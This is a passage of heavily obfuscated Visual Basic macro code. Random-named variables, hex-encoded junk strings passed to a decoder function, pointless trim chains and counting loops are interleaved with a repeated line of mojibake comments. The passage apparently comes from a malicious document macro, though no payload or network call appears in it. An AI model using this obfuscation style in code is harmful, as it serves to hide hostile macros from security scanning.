  1500. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1501. OWeVlyDd = LTrim(DWLSBahs)
  1502. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1503. RXdqFpqf = RTrim(OWeVlyDd)
  1504.  
  1505. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1506. QeRFYDAy = 8
  1507. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1508. Do While QeRFYDAy < 32
  1509. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1510. Dim lSjJsikk, CUVdvZop, ZEYUQCNz As String
  1511. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1512. lSjJsikk = GIYbonflbkpgerg("20202020202020202020204A424D465358202020202020202020202020202020")
  1513. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1514. CUVdvZop = LTrim(lSjJsikk)
  1515. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1516. ZEYUQCNz = RTrim(CUVdvZop)
  1517.  
  1518. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1519. DoEvents: QeRFYDAy = QeRFYDAy + 1
  1520. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1521. Dim lyXyWMUf, WkqNRkhU, pihEPeAh As String
  1522. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1523. lyXyWMUf = GIYbonflbkpgerg("202020202020202020202059585A42434E202020202020202020202020202020")
  1524. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1525. WkqNRkhU = LTrim(lyXyWMUf)
  1526. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1527. pihEPeAh = RTrim(WkqNRkhU)
  1528.  
  1529. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1530. Loop
  1531.  
  1532. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1533. Dim OvOGCCPI, UpdAWBju, MhBRcDlk As String
  1534. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1535. OvOGCCPI = GIYbonflbkpgerg("2020202020202020202020485659524441202020202020202020202020202020")
  1536. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1537. UpdAWBju = LTrim(OvOGCCPI)
  1538. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1539. MhBRcDlk = RTrim(UpdAWBju)
  1540.  
  1541. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1542. jgFYKFjo = LTrim(SlusTlbj)
  1543.  
  1544. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1545. Dim DGJHdDaf As Integer
  1546. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1547. Dim rTlCFeRD, BTEoouzG, WYDmZsbH As String
  1548. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1549. rTlCFeRD = GIYbonflbkpgerg("2020202020202020202020495253455357202020202020202020202020202020")
  1550. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1551. BTEoouzG = LTrim(rTlCFeRD)
  1552. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1553. WYDmZsbH = RTrim(BTEoouzG)
  1554.  
  1555. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1556. DGJHdDaf = 8
  1557. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1558. Do While DGJHdDaf < 11
  1559. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1560. Dim ervwJJft, XlhuIVZI, AhCAWlmn As String
  1561. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1562. ervwJJft = GIYbonflbkpgerg("2020202020202020202020484B5A514A55202020202020202020202020202020")
  1563. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1564. XlhuIVZI = LTrim(ervwJJft)
  1565. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1566. AhCAWlmn = RTrim(XlhuIVZI)
  1567.  
  1568. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1569. DoEvents: DGJHdDaf = DGJHdDaf + 1
  1570. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1571. Dim lZIxMAjG, IlDaNfZc, qEzWOPsJ As String
  1572. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1573. lZIxMAjG = GIYbonflbkpgerg("20202020202020202020204E434A425556202020202020202020202020202020")
  1574. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1575. IlDaNfZc = LTrim(lZIxMAjG)
  1576. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1577. qEzWOPsJ = RTrim(IlDaNfZc)
  1578.  
  1579. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1580. Loop
  1581.  
  1582. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1583. Dim ZWLgKPIO, FaTklcQM, SQorkbkl As String
  1584. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1585. ZWLgKPIO = GIYbonflbkpgerg("2020202020202020202020534F5148504D202020202020202020202020202020")
  1586. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1587. FaTklcQM = LTrim(ZWLgKPIO)
  1588. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1589. SQorkbkl = RTrim(FaTklcQM)
  1590.  
  1591. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1592. pTTkOWYS = RTrim(jgFYKFjo)
  1593.  
  1594.  
  1595. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1596. Dim YUNiIyNt As Integer
  1597. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1598. Dim uSkhlPDx, eDAAFFqc, VFQDoLIb As String
  1599. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1600. uSkhlPDx = GIYbonflbkpgerg("2020202020202020202020505551444153202020202020202020202020202020")
  1601. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1602. eDAAFFqc = LTrim(uSkhlPDx)
  1603. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1604. VFQDoLIb = RTrim(eDAAFFqc)
  1605.  
  1606. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1607. YUNiIyNt = 7
  1608. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1609. Do While YUNiIyNt < 89
  1610. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1611. Dim mAiDsXOj, NxGivjno, LDYLhcHS As String
  1612. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1613. mAiDsXOj = GIYbonflbkpgerg("202020202020202020202042524D4D414F202020202020202020202020202020")
  1614. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1615. NxGivjno = LTrim(mAiDsXOj)
  1616. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1617. LDYLhcHS = RTrim(NxGivjno)
  1618.  
  1619. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1620. DoEvents: YUNiIyNt = YUNiIyNt + 1
  1621. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1622. Dim XKcxpjbp, veSjLDoE, DLKMBbms As String
  1623. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1624. XKcxpjbp = GIYbonflbkpgerg("202020202020202020202046545342474B202020202020202020202020202020")
  1625. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1626. veSjLDoE = LTrim(XKcxpjbp)
  1627. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1628. DLKMBbms = RTrim(veSjLDoE)
  1629.  
  1630. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1631. Loop
  1632.  
  1633. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1634. Dim cBPonpqm, PtxszVgT, XqogRQkH As String
  1635. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1636. cBPonpqm = GIYbonflbkpgerg("2020202020202020202020505159464155202020202020202020202020202020")
  1637. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1638. PtxszVgT = LTrim(cBPonpqm)
  1639. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1640. XqogRQkH = RTrim(PtxszVgT)
  1641.  
  1642. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1643.    
  1644. End Function
  1645. Sub KFIDAXVLION()
  1646. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1647. Dim hhhdDOts, KnRyxuFT, ujPPZKNf As String
  1648.  
  1649. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1650. Dim qyMEsyBo As Integer
  1651. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1652. Dim BQlSFKGk, WSRViCdl, HSFpZaPl As String
  1653. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1654. BQlSFKGk = GIYbonflbkpgerg("2020202020202020202020595553565348202020202020202020202020202020")
  1655. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1656. WSRViCdl = LTrim(BQlSFKGk)
  1657. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1658. HSFpZaPl = RTrim(WSRViCdl)
  1659.  
  1660. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1661. qyMEsyBo = 5
  1662. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1663. Do While qyMEsyBo < 54
  1664. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1665. Dim UteDnTmp, dNPiDadz, yjALRiAT As String
  1666. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1667. UteDnTmp = GIYbonflbkpgerg("2020202020202020202020544C4B4D4F41202020202020202020202020202020")
  1668. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1669. dNPiDadz = LTrim(UteDnTmp)
  1670. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1671. yjALRiAT = RTrim(dNPiDadz)
  1672.  
  1673. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1674. DoEvents: qyMEsyBo = qyMEsyBo + 1
  1675. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1676. Dim cPtkbSTq, NXlsppgR, fSvHgWnd As String
  1677. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1678. cPtkbSTq = GIYbonflbkpgerg("2020202020202020202020495355545358202020202020202020202020202020")
  1679. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1680. NXlsppgR = LTrim(cPtkbSTq)
  1681. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1682. fSvHgWnd = RTrim(NXlsppgR)
  1683.  
  1684. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1685. Loop
  1686.  
  1687. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1688. Dim GaCJGziI, DQnEDrFu, NJdYgJJk As String
  1689. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1690. GaCJGziI = GIYbonflbkpgerg("20202020202020202020204C5344544945202020202020202020202020202020")
  1691. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1692. DQnEDrFu = LTrim(GaCJGziI)
  1693. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1694. NJdYgJJk = RTrim(DQnEDrFu)
  1695.  
  1696. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1697. hhhdDOts = GIYbonflbkpgerg("20202020202020202020205648494D525A202020202020202020202020202020")
  1698.  
  1699. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1700. Dim rLvqtyoi As Integer
  1701. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1702. Dim UliMEhwz, ZlkyVlLe, vlAklvjt As String
  1703. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1704. UliMEhwz = GIYbonflbkpgerg("20202020202020202020204343595A5941202020202020202020202020202020")
  1705. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1706. ZlkyVlLe = LTrim(UliMEhwz)
  1707. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1708. vlAklvjt = RTrim(ZlkyVlLe)
  1709.  
  1710. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1711. rLvqtyoi = 4
  1712. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1713. Do While rLvqtyoi < 94
  1714. 'Ìã îàçù ïðù90êíãà-9ðöòùêð ðùøóðøóèøïëèöâëäàòçöó9-ã349å îóàèùîûâ à ûðàø ùûðâïøù0í023ð9êí-2 ðøâùøû ûøðà203ê-20 îûâøùà ðûâùøï
  1715. Dim BOrMtblC, RRQgkMqG, oblOTheU As String
